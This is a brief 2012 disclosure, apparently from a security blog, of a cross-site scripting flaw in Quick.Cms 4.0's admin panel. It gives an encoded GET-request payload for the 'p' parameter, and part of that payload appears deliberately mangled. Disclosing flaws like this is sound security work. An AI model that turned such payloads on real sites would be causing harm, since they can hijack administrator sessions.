[EN] Quick.Cms_v4.0 XSS-over-GET

# TITLE ....... # Quick.Cms_v4.0 XSS-over-GET ..................................... #
# DATE ........ # 18.03.2012 .......................................... #
# AUTOHR ...... # http://hauntit.blogspot.com ......................... #
# SOFT LINK ... # http://opensolution.org/ ................................. #
# VERSION ..... # 4.0 ............................................... #
# TESTED ON ... # LAMP ................................................ #
# ..................................................................... #

# 1. What is this?
# 2. What is the type of vulnerability?
# 3. Where is bug :)
# 4. More...

#............................................#
# 1. What is this?
This is very nice CMS, You should try it! ;)

#............................................#
# 2. What is the type of vulnerability?
Cross-site scripting.

#............................................#
# 3. Where is bug :)
http://Quick.Cms_v4.0/admin/?p=[url%3d%22%29%3b%happy.3friends:x+s+s:)[%2furl]

#............................................#
# 4. More...

- http://hauntit.blogspot.com
- http://opensolution.org/
- http://www.google.com
- http://portswigger.net

#............................................#
# Best regards
#